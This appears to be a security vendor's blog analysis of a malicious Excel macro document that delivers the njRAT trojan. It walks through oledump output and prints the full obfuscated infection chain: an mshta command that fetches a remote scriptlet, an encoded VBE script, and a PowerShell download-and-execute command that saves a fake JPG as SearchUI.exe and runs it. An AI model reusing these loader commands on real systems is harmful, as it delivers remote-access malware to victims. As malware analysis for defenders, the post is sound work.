Field Notes: Multistage Maldoc Delivers Executable Masked as JPG
Our “Field Notes” blog series provides interested readers with a quick analysis of interesting samples that the InQuest Labs team encounters in-the-wild or harvested via the InQuest Labs Platform. Readers are encouraged to utilize this open data portal for discovery of new samples which are available for search and download. In this blog, we run through a quick dissection of a document that had low AV detection at the time of ingestion but was deemed malicious with high confidence through InQuest Deep File Inspection® (DFI). Readers are welcome to download the sample from InQuest Labs to follow along or read the report. First, we take notice via the below file
command that we’re dealing with a Microsoft Office document in OLE/CDF format, these are pre 2007, after which Microsoft switched to the zipped/OOXML standard:
$ file 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5
019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5: Composite Document File V2 Document, Cannot read section info
We can use Didier’s oledump to list the OLE streams that are found within the file. The letter M next to stream 3, 4, 5 and 12 indicate that the streams contains VBA macros.
$ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5
1: 606 'PROJECT'
2: 146 'PROJECTwm'
3: M 819 'VBA/Module1'
4: m 977 'VBA/Sheet1'
5: M 4658 'VBA/ThisWorkbook'
6: 5010 'VBA/_VBA_PROJECT'
7: 2020 'VBA/SRP_0'
8: 114 'VBA/SRP_1'
9: 616 'VBA/SRP_2'
10: 498 'VBA/SRP_3'
11: 909 'VBA/dir'
12: m 1172 'VBA/ththxrthgfbghntydhn'
13: 97 'ththxrthgfbghntydhn/x01CompObj'
14: 453 'ththxrthgfbghntydhn/x03VBFrame'
15: 226 'ththxrthgfbghntydhn/f'
16: 16 'ththxrthgfbghntydhn/o'
The source code of VBA macros are compressed when stored inside a stream. Use option -v to decompress the VBA macros in stream 5 as indicated by the ‘M’ marker. we grep for the Shell() pivot that we know is there from examination:
$ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5 -s5 -v | grep Shell
Call Shell(ththxrthgfbghntydhn.bgtggrhbxrthbx.Tag)
It looks as though the contents for .Tag are in stream 14 (note we defanged the URL for your safety):
$ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5 -s14 -d
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} ththxrthgfbghntydhn
Caption = "UserForm1"
ClientHeight = 3015
ClientLeft = 120
ClientTop = 465
ClientWidth = 4560
StartUpPosition = 1 'CenterOwner
Tag = "rUNDlL32.eXe SHELL32.DLL,ShellExec_RunDLL mSHta.Exe VbsCripT:CLOSe (geTObJEct (""SCRipT:https://jplymell[.]com/serb.xml"") )"
TypeInfoVer = 4
End
Here we have a pivot through mshta to this serb.xml file being served on a remote website. Using the curl
command below, we are able to acquire and inspect that file:
$ curl --silent https://jplymell[.]com/serb.xml | tee serb.xml
<?xml version="1.0"?>
<package>
<component id="IKUEilIKUfcKKtrOXCqGnrgUAGvMgJMCF39533022642">
<script language="VBScriPt.EncodE">
<![CDATA[
#@~^gwkAAA==9b:7("Z/i)i9ksd[7C[7=d?Od(I;d7'iZ"+CY36(Lnm:7iZ4.q
[uXF#~[,/4DcLCF&#,[,/tMc[vfb,[P;4Dv[CF+bPLP;t.`'uW,bPL~Z4Dc'!b~LP/tM v[ulcP[,Z4.v[u A#~',ZtMc[_&~'P;tMc[uR#~[,/tM'u+*#~',Z4Dv'_v/*PLPZ4Dqc[_v/#i#7liN7uNi'dr~7P,nK3DduAVsRAa+,P~~,PO3aid7di8IwCk?,PP,O GniP~PiO 7iddiqdiPP n^didid(b)BzbVb;}bxb/)zmh$ozC}bd}~f)V%z4o~jz!jz4LAZb)VzZpzLb;!b9L$AzZzb/p)BzbVb;}bxb/)z|b)LzbVb;}z9)z3zZpzoz/cz|)b b!*z}pzUb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bz|hzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bbxA$&zZ1b(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bMb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)UzZTb(AAbb!Gz9h)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZkb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ^b"}zx);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)bnAbTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bz9h~Lzopz9AbTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzbFp)LzbVb;}bTb/)z4o$szs}bdL~()Vjzpo~Lz!hzl}Awb3*z.bzBb;bb&))ozZzb/p)2zZ*b)Ahbu^z4o$dz20b5}~2)_Hz.b~?z33zKLA_b/LzqbzLb;bb&))ozb0bu?$GzC}b9)ASbuzro)-zZ0bmL~h)Vhz+p~Yz!jz4)Akb/*z5h~-bV!bdA$YzMAbCp$dzZ0b1AADb!3zmo$TzM3b1)~h);czlo~hz!mzCjbxb/)zZpzBbz3b;})ozZ0b(b)LzZ)b&)bTb/)zSp$szM*b&)z9)z3zmh~jzoqz?}A!b!^zZpzBbz3b&))YzCzb}p$Tz2Lb;}bxb/)zqb)BzATox)~V)VczNozvz32zj)ASb3}z5p~ibV2bo)$KzM
bep$zzMbm)Ajb3VzSo$szCLb}zN(z3zqbzoz/bzq)bxb9dzqbzBbz3b;})9zM0bPo$ zM0bUAA^b/Tz}p$zs)bL~V)_Hzmh~9z!%zKLbxb)VzZpzBb~!ox)$VzMWb#o)z23b1)A5b3}z5p$Tz23bo)~K)Vjz5p~Xz!Hzl)Ajb3VzSo~sb_ob})N&b{'7P~Ei)747]ZkR.;gdmu]i
7&W7d'i47IZkRpwm19+ r.Kx:AHYkYIbH!/vd;t.c'_ X#,'P;t.cLCcfb,[~Z4.v[u+sP[,Z4.`LCfP'~;tDv'CF&#,'~Z4Dv[uGTb,[~Z4.v[ul#P'~;t.v'cf*PLPZ4Dqc[ X#i#7'imC"7i&cib7[iZ_D7
7fWdbdL7Z4D cLC ob,[~Z4.q`'_v2#PLP;4Dv[u Z#7'iN7uNi[d14.dvd2c7#7Si!7)ij2Dd8-"Z/7xi1GY4(go5JYCAA==^#~@
]]>
</script>
<body>
</body>
</component>
</package>
Looks as though “serb.xml” is an encoded VBE, we can use Didier Stevens’s decode-vbe.py to decode it. Further reading: here is a great article discussing Microsoft script encoding
$ decode-vbe.py serb.xml
Dim bvRCs : Dim dWvHd : Set bvRCs = CReatEObjecT ( ChrW(&H57) & Chr(&H73) & ChrW(&H63) & Chr(&H72) & Chr(&H49) & Chr(&H50) & ChrW(&H54) & ChrW(&H2E) & Chr(&H53) & ChrW(&H68) & Chr(&H65) & Chr(&H6C) & ChrW(&H6C) ) : dWvHd = " PoWErsHEll.Exe -Ex bYpasS -noP -W 1 -ec IAAJAAkACQAJACAAcwBFAHQALQBDAG8AbgBUAGUAbgB0AAkACQAgAC0AdgBBACAACQAJAAkACQAJACAAKAAgAAkACQAJAAkACQAgAC4AKAAnAG4AZQAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwB3ACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAC0AbwBiAGoAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACcARQAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBjAFQAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgAAkACQAgACAAbgBlAFQALgBXAGUAQgBjAGwAaQBFAE4AVAAJACAAIAAgACAACQApAC4AZABPAHcAbgBsAE8AQQBEAHMAVABSAEkATgBHACgAIAAgACAAIAAgAAkAHSBoAHQAdABwAHMAOgAvAC8AagBwAGwAeQBtAGUAbABsAC4AYwBvAG0ALwBtAGEAaQBsAC8AcwBtAGEAcgB0AGEAcABwAC4AagBwAGcAHSAJACAACQAJAAkACQAgACkAIAAgACAAIAAgACAALQBlAG4AIAAJAAkAcwBUAFIASQBuAGcACQAJAAkAIAAtAHAAQQB0AEgACQAJACAAIAAJAB0gJABlAG4AdgA6AEEAUABwAEQAYQBUAGEAXABTAGUAYQByAGMAaABVAEkALgBlAHgAZQAdIAkAIAAgACAAIAAJADsAIAAJAAkACQAJAGkATgBWAG8ASwBlAC0AZQB4AFAAUgBlAHMAcwBJAG8ATgAJAAkACQAJAB0gJABlAG4AVgA6AEEAcABQAEQAYQB0AEEAXABTAGUAYQByAGMAaABVAEkALgBlAHgAZQAdIA== " : bvRCs.ruN cHR ( 34 ) & bvRCs.eXpaNDenvironmENtstRiNGs( ChrW(&H25) & Chr(&H43) & Chr(&H6F) & Chr(&H6D) & Chr(&H73) & Chr(&H70) & ChrW(&H65) & ChrW(&H43) & ChrW(&H25) ) & cHR ( 34 ) & CHr ( 34 ) & ChrW(&H2F) & ChrW(&H63) & Chr(&H20) & dWvHd&chr ( 34 ) , 0 : SEt bvRCs = NothINg
The output has some base64 encoding and obfuscation techniques there. Didier For The Win with another great decoding tool called base64dump. base64dump is a program that extracts and decodes base64 strings (or other encodings) found inside the provided file. (URLs defanged again):
$ decode-vbe.py serb.xml | base64dump.py -n50 -s1 -d
sEt-ConTent -vA ( .('ne' + 'w' + '-obj' + 'E' + 'cT' ) neT.WeBcliENT ).dOwnlOADsTRING( https://jplymell[.]com/mail/smartapp.jpg ) -en sTRIng -pAtH $env:APpDaTaSearchUI.exe ; iNVoKe-exPRessIoN $enV:ApPDatASearchUI.exe
The output shows that this “smartapp.jpg” is going to be downloaded and saved as “searchui.exe” Lets go ahead and pull down that bad boy:
$ curl --silent https://jplymell[.]com/mail/smartapp.jpg > smartapp.jpg
And confirm that it is an executable with the file
command:
$ file smartapp.jpg
smartapp.jpg: PE32 executable (GUI) Intel 80386, for MS Windows
Generating the SHA-256 proves that it is well known by the AV industry:
$ sha256sum smartapp.jpg
f3f76276073ea2e85456e84bba247828a8bae44dcfa377ad78524e3354a5fb5a smartapp.jpg
The executable was then submitted to a couple different sandboxes to gauge their consensus and showcase the usefulness of the tools. VMRay Analyzer, JOESandbox, and ANY.RUN had similar findings. The executable was identified as njRAT. Review the respective report from ANY.RUN ANY.RUN is an interactive online-sandbox that provides a wealth of information. The process graph here shows the sequence of events that preclude the firewall exemption.
JoeSandbox provides a detailed report and here are some illustrations showing the GeoIP, behavior graph, and classification of the sample. |
|
|
| |:—:|:—:|:—:| Last but not least, VMRay Analyzer quickly deems the sample as malicious. The simplicity of the Mitre ATT&CK™ Framework is easily conveyed to the reader.
We hope you enjoyed these notes and be sure to check out InQuest Labs. If you have any interest in obtaining an API Key for your fun or profit, Contact us directly via [email protected].